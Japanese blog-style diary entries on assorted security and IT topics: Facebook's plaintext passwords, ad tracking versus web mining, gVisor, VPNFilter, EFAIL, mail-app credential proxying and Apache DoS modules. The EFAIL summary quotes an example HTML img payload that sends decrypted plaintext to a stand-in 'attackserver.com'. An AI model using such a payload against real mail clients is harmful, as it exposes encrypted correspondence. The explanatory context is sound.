Facebook、数億人分のユーザーパスワードを数年間可読状態で保存と発表 (itmedia)
米Facebookは3月21日（現地時間）、Facebook、Instagram、Facebook Liteの数億人分のパスワードが可読な状態で社内に保存されていることに1月に気づき、修正したと発表した。
パスワードのプレーンテキストでの保存は2012年から始まっており、2万人以上の従業員が検索できたという。アクセスログでは約2000人がプレーンテキストのパスワードを含むデータに、約900万回のクエリを実行していた。
ちょ..え..
バスワードのハッシュ化は常識、というのをしてなかった、とはさすがに思えないので、
おそらくデバックかユーザビリティ調査のために入力を全部ログとってて、そこにパスワードも含まれる、とかじゃなかろうか
web広告OK、採掘ダメ、という人は
おそらく民放TVや雑誌等の既存メディアのアナロジーから、コンテンツを見る対価として広告を見させられるのは「社会的に許容し得る（既に許容されている）」、後者はそうではない、と考えているのではないかと思いますが、
webでは一見広告に見えるものが裏で何をしているのか把握していないのではないでしょうか？
「欧州サッカーと推理小説が好きで週１回ジムに通う４０代男性、４人家族……。ウェブ上の行動履歴をもとに推測した属性が大量に集められてデータベース化されています」。インターネット広告に詳しい技術者はこう説明する。
（略）こうして集められる興味関心などの情報は、あくまで端末やブラウザーに紐づいたもので、日本の個人情報保護法では、個人情報には当たらない。
（略）だが、この図でいうＺが、フェイスブック（ＦＢ）のように利用者の個人情報を保有する事業者だったらどうだろう。端末に紐づけられた情報は個人に結びつけられ、個人情報に変わる。
また別記事にコメントしましたが、見えない広告というのもあります。
広告以外では、例えばfacebookの「いいね（シェア）」ボタンは、一見してfacebook利用者の利便性のためで、非会員や押さない人は無関係のように思えますが、これも裏で情報収集しています。
これをプライバシー侵害で違法とする国もあります。
ベルギー裁判所、Facebookによる「いいね」ボタンなどを使った同意無しでの個人情報収集を違法と判断
これらは、webサイト読者の「意図に沿うべき動作」でしょうか？
広告画像を見させられることは既存メディアと同じく許容していても、ここまでは許容するしない以前に把握すらしていないのではないでしょうか？
「意図に反する動作」ではないでしょうか？
かように、webサイト読者が(※場合によってはwebサイト運営者すら)把握していない、もしくは意図に反するスクリプト（プログラム）がwebサイト上に氾濫する中で、
採掘だけ特にやり玉に挙げる、しかもいきなり逮捕するのはフェアでない、というのが技術オタク（笑）の意見かと。
その先は、両方クロという意見（刑法が専門の園田寿・甲南大法科大学院教授）と両方シロという意見（ひろみちゅ：産業技術総合研究所の高木浩光主任研究員）があると思いますが。
他人のＰＣ「借用」仮想通貨計算 ウイルスか合法技術か
※場合によってはwebサイト運営者すら: 例えばはてなブックマークボタンは、設置後いつのまにか行動情報の取得と第三者への提供をするようになり、さらにいつのまにかやめました
（盗電のアナロジーで）俺は許せん、という人がいるのはわかります
しかしその伝でいうなら、動画広告や(今は亡き)flash広告は重い(盗CPU)ので許せん、とか、全画面広告や誤クリックを誘う広告はムカつくので許せん、とか、それに比べれば採掘のほうがマシ、とかいう人もいるので、
一律にweb広告は社会的に許容されているとも言えない。
facebookボタンの件は、日本では「個人情報保護委員会」がサイト運営者への注意喚起とfacebookへの（行政指導を視野に）ヒアリングしているようです。管轄からして個人情報保護法の問題であって、不正指令電磁的記録等作成罪は問題視してませんが。
- 注意喚起
SNSの「ボタン」等の設置に係る留意事項
サイト運営者は、SNSに情報送信されるような「ボタン」等をウェブサイトに設置する場合には、ボタン等を押さなくとも閲覧しただけで当該SNSに情報が送信されることがあることを一般の利用者が十分に認識するよう、当該SNSに情報が送信されていること及び送信されている情報の範囲等をプライバシーポリシー等においてわかりやすく明示する等、丁寧にご対応ください。
- ヒアリング
「いいね」で個人情報収集、ＦＢ納得いく説明を 個人情報保護委員会事務局長へのインタビュー
――ＦＢに対しては。
現在、担当者を呼んで話を聞いており、行政指導を視野に、利用者に分かりやすい説明をするよう求めていく。ＦＢはデータポリシーなどの見直しを進めており、内容を確認しているところだ。
gVisor は go で実装されたlinuxエミュレータ（互換カーネル）で、syscallを横取りしてこちらで実行する。
仮想化、コンテナに続く第三の方式、といえるのではなかろうか
- 仮想化：HWエミュレーション。HWのIOポート番号までエミュる(完全仮想化)のはうざいので、host OS でブロックデバイスとかまで抽象化したのをguestの抽象化レイヤにバイパス(準仮想化デバイスドライバ)する。
あえてバイパス（もしくはバグをついてエミュレータを乗っ取る）しない限り、原則として分離。
- コンテナ： chrootにいっぱい毛が生えたやつ。chrootは ファイルシステム空間を分離するが、他にもいろいろ分離する。
分離を実装しない限り、原則として丸見え。
- gVisor: OSエミュレーション（互換カーネル）。
あえてバイパスしない限り、原則として分離。しかもsandbox上(syscallを制限)なので、乗っ取られても被害が最小。
コンテナの軽量さと、より安全な分離を実現する「gVisor」、Googleがオープンソースで公開
gVisorを使ってdockerコンテナをより安全に利用する
＞要するにDockerアプリケーションからのシステムコールをgVisorが一度受け取り、それをホストカーネルに渡す仕組みになっている。
この辺読んで、syscallをトラップして チェックしてから ホストカーネルに渡すレイヤ、と誤解してたが
https://github.com/google/gvisor
＞gVisor is a user-space kernel, written in Go, that implements a substantial portion of the Linux system surface.＞
＞gVisor's approach is similar to User Mode Linux (UML),
gVisorは、Goで書かれたユーザ空間カーネルであり、Linuxシステムの大部分を実装しています。
gVisorのアプローチはUML（User Mode Linux）と似ています
アプリからの syscall を ptraceで横取りして、ユーザ空間の互換カーネルで処理する。互換カーネルはseccompサンドボックス(syscallが制限された環境)で動く。
http://mmi.hatenablog.com/entry/2016/08/01/044000
＞seccomp (Secure Computingの略らしい)は，Linuxにおいてサンドボックスを実現するために プロセスのシステムコールの発行を制限する機能です． seccompを使っている代表的なアプリケーションにはchromeやOpen SSHなどがあります．最近利用が増えてきているようです．
ファイルシステム：
tmp,proc を実装し、他は別プロセスのファイルサーバに投げる。
ファイルサーバとは 9P (Plan 9 Filesystem Protocol)で通信する
ファイルサーバは普通に(sandboxなしで)syscallする （説明図では）
ネットワーク：TCP/IPを実装し、実カーネルの仮想NICに投げる
で、その実装に必要な最小限のsyscallだけ使えるように seccompで制限している。
具体的には この辺
結論：公式読め
VPNFilter: Linuxベースルータ/NASへのマルウェア
- Linuxベース組み込み機器（ルータ、NAS)
- Linksys,NETGEAR,TP-Link,QNAP等
- デフォルトパスワード + 既知の脆弱性に攻撃
> 米Symantecでは感染経路について、デフォルト設定の管理者パスワードによる不
正アクセスと指摘。
LinuxベースのルーターやNASに感染するマルウェア「VPNFilter」、54カ国50万台に感染か、Cisco Talos報告
jpドメインレジストリ（管理組織）であるJPRS が SSL認証局 (TLSというべきか)もやってたのに気付いた
セコムの中間認証局らしい
JPDirect(直販) で１万円、指定事業者経由で数千円台なんだけど
さくらインターネットでは 972円/年 と激安。
特にキャンペーンだからというわけではなさそう。
今まで RapidSSLとか COMODO PositiveSSL とか安いの乗り換えながら海外販売店経由で数ドル/年 で買ってたんだけど、十分検討に値する。
OpenPGP S/MIMEに脆弱性
ざっくり理解
1. ダイレクトエクスフィルトレーション（直接引き出し）
特定メールソフトの脆弱性
- MITM等で暗号化メールを入手する
- <img src="http://attackserver.com/暗号文"> のhtmlメールを送りつける
- 受信者のメーラが復号して <img src="http://attackserver.com/平文"> になる
- 受信者のメーラが img 画像表示のため http://atackserver.com/平文 にアクセス
- attackserver.com に 平文がわたる
2. CBC / CFBガジェット攻撃
S/MIME PGPの仕様脆弱性
- S/MIME PGP内部で使われてる CBC/CFB方式の特徴から、鍵がなくても暗号化された <img src= を作ることができる？
- それをくっつけて以下同じ？
1. では 「平文と暗号文が混ざったもの」が平文になるのを「特定メールソフトの脆弱性」
2. では 「加工した暗号文を生成可能」なのを 「仕様脆弱性」としている
対策： htmlレンダリングしない、となってるが、htmlメールで外部リソースを見ない、だけでもいいような気がする(thunderbirdでは デフォルトでそうなってる）
追記： 訳した人がいた
今時のGNOME
Fedora 26 をGUIインストールで入れたんですよ
そしたら初回起動時に googleや microsoftのアカウント聞いてくるんですよ
試しにgoogleアカウントを入れたら
メーラ（Evolution）ではgmailをアクセス
ファイラ（その名も「ファイル」、英名でも 「The File」）ではgoogle driveをアクセスできる
長いことサーバインストールのsshアクセスばかりだったので、今時だなあと驚いた
アクセスするとプロセスに/user/libexec/gvfsd-google が増える
/user/libexec/ には gvfsd-ftp とか smbとかいろいろあって、方式ごとのプラグイン的なもの
/run/user/<uid>/gvfs に fuse.gvfsd-fuse がマウントされていて
/run/user/<uid>/gvfs/google-drive:host=gmail.com,user=xxx/ にファイルが見える
(gmailではなく独自メールアドレスのgoogleアカウントにしてたらhostも変わるんじゃなかろうか)
見えるが オブジェクトid っぽい文字列になっていて、ファイラのように foo/bar.txt 的に見せるにはもうひと手間必要なようだ
Microsoftアカウントを入れたが、残念ながらメーラのみだった
nextcloudアカウント（とサーバ）も登録できるみたいだが、これは gvfsd-dav あたりが使われるのだろうか
俺はとあるメールサーバの管理者をしてるのだが、
あるユーザから「メールが届かない」というクレームがあった。
詳しく聞くと「特定の人からのメールが届かない」ようだ。
ログを見ると、メールサーバには届いているものの、そのユーザが自分で削除している。
「迷惑メール扱いで自動削除とかの設定になってるんでは？」と聞いても「してない」と言い張る
さらに調べると、collector3.my.com というところ（ロシア）からアクセスされてる
すわアカウントが漏れたか、と思ったが
my.com てなんぞ？ と調べたら
mymail というメールアプリ(android/iOS)を出してる会社だった。
で「これこれのアプリ入れてる？」と聞くと、
普段はPCでメールチェックしてるがスマホでも見ることがあり、「(PCでは)何もしていない」と言い張っていたのであった。
おそらく操作ミスかなんかで迷惑メール扱いにしてしまい、以後その人からのメールは届き次第、スマホアプリのローカルの迷惑メールフォルダに入り、同時にメールサーバから削除されていたため、PCからは「届かない」ように見えるのであった。
つまりこのメールアプリは、単なるメールクライアントではなく、
メールアカウント/PASSを会社に預け、
会社サーバが利用者の代理でメールサーバにアクセスする、
メールフィルターサービスのクライアントであった。
検索で引っかかる日本語の紹介ページでは「複数アカウントが使えて便利」「プッシュ通知が便利」と評価が高い。
アプリが全アカウントを定期的にメールチェックするより、会社サーバが代理でチェックして、メールが届いたときのみプッシュ通知する、
というのは利便性も高く電池も長持ちし通信料も減るといいことづくめだが、
一方で会社はメール内容を見放題ということでもある。
実際に見てるかどうか、プライバシーポリシーがどうなってるかは、俺は入れてないので不明。
gmailとかhotmail(今だとoutlook.com?) とかだと、サービス企業及び米政府は見放題、ということはある程度周知されてて利便性とプライバシーを天秤にかけて利用するだろうが、アプリを利用するときも同様である。
.. ということを Orario の件で思い出した
yasuokaの日記： 「Orarioガラミで取得した単位は取り消す場合がある」
長いのでコメントでなく日記に書く
記事や元の日記では、中の人疑惑で話が発散してるので、単位取り消しに話を絞る
そもそも単位取り消しの前提がわからない
1. 本当かネタかわからない
スラドの日記で
>今後「Orarioガラミで取得した単位は取り消す場合がある」ので、受講生はそのつもりで。
と書いたからといって、本当に受講生に伝えたかどうかもわからない。私的な日記に愚痴を書いただけかもしれない。
いくらなんでも「スラドの日記で禁止したのに気づかず使う奴が悪いので単位取り消し」とはならないだろ
過去の日記でも(welqが話題になる以前から) このサイトはこんないい加減なこと書いてけしからん、みたいなこと書いてるからこの件も単にその一つかもしれない
2. 講義分野がわからない
「仮にセキュリティの専門講義であれば、セキュリティ上怪しげなソフトを使うのは講義を理解できてないことになるので、単位は取り消す場合がある」
という論は正しいが、「仮に」が確定しないとその後の論も空論になる。
yasuoka氏の日頃の投稿や日記（やそこからリンクされる自著記事等）を見るに文字コードとか分野の研究者と思われるので（調べたらその通りだったが）、
スラド読者としてはそういう分野の講義は想像できても、セキュリティの専門分野の講義とは想像しにくい。
例えば教養で情報全般を扱うような講義であれば、専門からちょっと離れた分野の先生も講義するのかもしれないけど、
セキュリティ分野の得点が低くなることはあろうが、単位全部なくなるほどのマイナスかと疑問に思う。
これに関しては、 教授の「好み」で単位を出さないのは許されるのか が参考になった。
大学の論理としては、マイナスと判断してもいいらしい。
3. 学内規約がわからない
少なくともyasuoka氏の日記だけでは、「学内の規約に反する」という理由は出てこない。
まあ本人含む学内の人には自明だから日記には書かなかったのかもしれないけど
(その後のコメント には出てくる）
しかしそれが理由なら「私の講義に関しては」とか限定した話ではなく全学的な問題であるはずで、別の先生の同分野の講義で同得点の片方は通って片方は落ちるのだとしたら不憫すぎる。
これらの前提情報が不明の第三者（スラド読者）から見て、「俺が気に入らないソフト使ってる奴は単位取り消し」というアカハラにしか見えないが、
だからといって人様の日記に「俺が分かるように情報を出せ」と読者がいうのも傲慢だろう。言うだけなら勝手だが、返事するかどうかも勝手だ。
その上で、前提不明どうしでそれぞれ勝手に前提立てて議論しても、前提が違えば結論が違うのは当然で、すれ違うばかりで議論になってない。
もしかしたら、yasuoka氏に近しく学内事情にも詳しく、勝手な前提じゃなくて正しい前提に立って書いてる人もいるのかもしれないけど、これまたその人がそういう人であるという前提不明だと区別がつかない。
---
ちょいと検索したところ
京都大学全学情報システム利用規則
http://www.iimc.kyoto-u.ac.jp/services/kuins/pdf/zengaku_joho_system_riyoukisoku.pdf
京都大学全学情報システム利用規則（抜粋）
https://ecs.iimc.kyoto-u.ac.jp/KuEcsUms/m?m=320&rv=23392
（全学アカウント利用の遵守すべき事項）
第８条 利用者等は、全学アカウントの利用に際して次の各号を遵守しなければならない。
（1） 自分の全学アカウントを他の者に使用させたり、他の者の全学アカウントを使用したりしてはならない。
（2） 他の者の主体認証情報(パスワード)を聞き出したり使用したりしてはならない。
（3） 主体認証情報（パスワード）は、情報環境機構長が別途定める利用者パスワードガイドラインに従って適切に管理しなければならない。
(4) 利用者等は、主体認証を伴って全学情報システム又は特定部局情報システムへアクセス中の利用者端末において、他の者が無断で画面を閲覧・操作することができないように配慮しなければならない。
（5） 学外の不特定多数の人が操作（利用）可能な端末を用いて全学情報システム並びに特定部局情報システムへの全学アカウントによる主体認証を伴ってのアクセスを行ってはならない。
（6） 全学アカウントを他の者に使用され又はその危険が発生した際には、直ちに情報環境機構長にその旨を報告しなければならない。
（7） 姓名の変更等全学アカウントの変更が必要になった際は、遅滞なく情報環境機構に届け出なければならない。
（8） 全学情報システムの利用資格を喪失した際又は利用する必要がなくなった際は、遅滞なく情報環境機構に届け出なければならない。ただし、個別の届出が必要ないと、あらかじめ情報環境機構が定めている場合は、この限りでない。
これが該当の規約かどうか不明だし、他の規約もあるかもしれないが
８条3か6にかかる気はしなくもない。
「他の者に使用され又はその危険が発生」とあり、開発会社曰く「使用しない」とのことだが、アプリをインストールしてアカウント情報を入力した時点で「危険が発生」することはセキュリティ的には自明だ。
（違反行為への対処）
第１７条 情報環境機構長は、第７条及び第１１条に掲げる事項に違反すると被疑される行為を認めたとき、又は通報を受けたときは、速やかに調査を行い、事実を確認するものとする。なお、事実の確認にあたっては、可能な限り当該行為を行った者の意見を聴取しなければならない。
２ 第１項への関与が認められた場合又は疑われた場合、当該部局（本学情報システムでない利用者端末については当該利用者の所属部局）の部局情報セキュリティ責任者は、情報環境機構長が行う当該行為若しくは特定部局情報システム及び利用者端末についての事実の確認及び調査に協力しなければならない。
４ 情報環境機構長は、第１項の措置を講じたときは、遅滞無く最高情報セキュリティ責任者にその旨を報告しなければならない。
５ 調査によって違反行為が判明したときは、最高情報セキュリティ責任者は全学情報セキュリティ実施責任者を通じて次の各号に掲げる措置を講ずることができる。
(1) 当該行為者が所属する部局情報セキュリティ責任者に対する当該行為の中止勧告
(2) 部局情報セキュリティ責任者に対する当該行為に係る情報発信の遮断勧告
(3) 部局情報セキュリティ責任者に対する当該行為者の全学アカウントの停止又は削除の通知
(4) 当該行為者の所属部局及び総長への報告
(5) その他法令に基づく措置当該行為つまりアプリ利用の「中止勧告」、セキュリティ責任者への情報発信の「遮断勧告」つまりサーバ側の通信ブロック、当該行為者つまりアプリ利用者のアカウントBAN、とセキュリティ的には当然の対処であるが、当該行為者への罰則等には言及されていない
どこの大学も同様の規約があるとしたら、（大学側が「抗議」は飛ばしタイトルだとして）「各大学が学生に対し利用自粛などを求め」るのは当然の対応だろう。
ApacheのDoS対策でググるとmod_evasiveとmod_dosdetectorが出てくる。
が、mod_evasiveをテストしてみると、設定したリミットより数倍のアクセスの後にブロックされる。
よく調べてみると、プロセス毎に制限してるようだ。
したがって最大でリミットxプロセス数（最大でMaxServers）のアクセスを許すことになる。
一方mod_dosdetectorは、共有メモリで全プロセスのアクセスを一括して管理しているので、
正確にリミットで制限される。
最終的に mod_dosdetector改 入れた。
アレゲはアレゲ以上のなにものでもなさげ -- アレゲ研究家